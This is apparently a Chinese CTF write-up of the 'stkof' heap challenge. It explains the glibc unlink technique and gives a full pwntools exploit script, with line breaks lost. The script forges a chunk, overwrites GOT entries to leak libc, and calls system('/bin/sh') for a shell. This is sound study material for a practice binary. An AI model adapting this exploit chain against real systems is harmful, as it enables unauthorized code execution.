这道题目是wiki上讲unlink漏洞的例题,buu上同样也有
所以先讲unlink,我觉得怎么理解呢?带例子,光看有点难理解,然后结合源码去绕过那个判断语句
unlink的条件呢
1.首先要存在一个控制堆块去记录heap段
2.存在堆溢出,off by one这些漏洞这类
3.uaf也同样可以导致
怎么达到目的
伪造的chunk fd = & -0x18 bk = &-0x10
这个保护,可以改got表,没有pie
这是个没有显示的菜单题目
对于堆的题目,我感觉边看代码边调试是最好的
creat(0x50)creat(0x30)creat(0x80)creat(0x30)

可以看到,heap上有几个堆块
p_addr = 0x602150fd = p_addr-0x18bk = p_addr-0x10payload = p64(0)+p64(0x30)+p64(fd)+p64(bk)payload =payload.ljust(0x30,b'a')payload+=p64(0x30)+p64(0x90)edit(2,payload)

heap 上的效果
控制堆块的数据
然后我们free3就能达到unlink的效果

效果拔群
payload = b'a'*(0x10)+p64(free_got)+p64(puts_got)edit(2,payload)#pause()payload = p64(puts_plt)edit(1,payload)#pause()free(2)
这里是将控制堆块改为我们想要用的函数
所以调用free就是调用puts
然后把puts的地址打印出来,最后呢用libcsearcher找到libc
from pwn import*from LibcSearcher import*context.log_level = 'debug'context.arch = 'amd64'io =process('./stkof')#io = remote("node4.buuoj.cn",25380)elf = ELF('./stkof')puts_got = elf.got['puts']free_got = elf.got['free']puts_plt = elf.plt['puts']gdb.attach(io)def creat(size):io.sendline('1')io.sendline(str(size))io.recvuntil('OK\n')def free(index):io.sendline('3')io.sendline(str(index))def edit(id,value):io.sendline('2')io.sendline(str(id))io.sendline(str(len(value)))io.send(value)io.recvuntil('OK\n')creat(0x50)creat(0x30)creat(0x80)creat(0x30)#pause()p_addr = 0x602150fd = p_addr-0x18bk = p_addr-0x10payload = p64(0)+p64(0x30)+p64(fd)+p64(bk)payload =payload.ljust(0x30,b'a')payload+=p64(0x30)+p64(0x90)edit(2,payload)#pause()free(3)#pause()payload = b'a'*(0x10)+p64(free_got)+p64(puts_got)edit(2,payload)#pause()payload = p64(puts_plt)edit(1,payload)pause()free(2)io.recvuntil('OK\n')puts_addr = u64(io.recvuntil('\nOK\n',drop=True).ljust(8,'\x00'))log.success('puts_addr:{}'.format(hex(puts_addr)))#pause()libc=LibcSearcher('puts',puts_addr)libc_base = puts_addr - libc.dump('puts')system_addr = libc_base + libc.dump('system')binsh_addr = libc_base + libc.dump('str_bin_sh')edit(1,p64(system_addr))edit(4,'/bin/sh\x00')free(4)io.interactive()
最后研究了一下sendline和send,看debug吧sendline会多一个空格,在这里就会导致off by null 的问题,程序也没有按着我们想的来,最后接收会出现问题
红框就是puts的地址,就没有按着我们想的来,所以接收出问题最好的方式就是debug
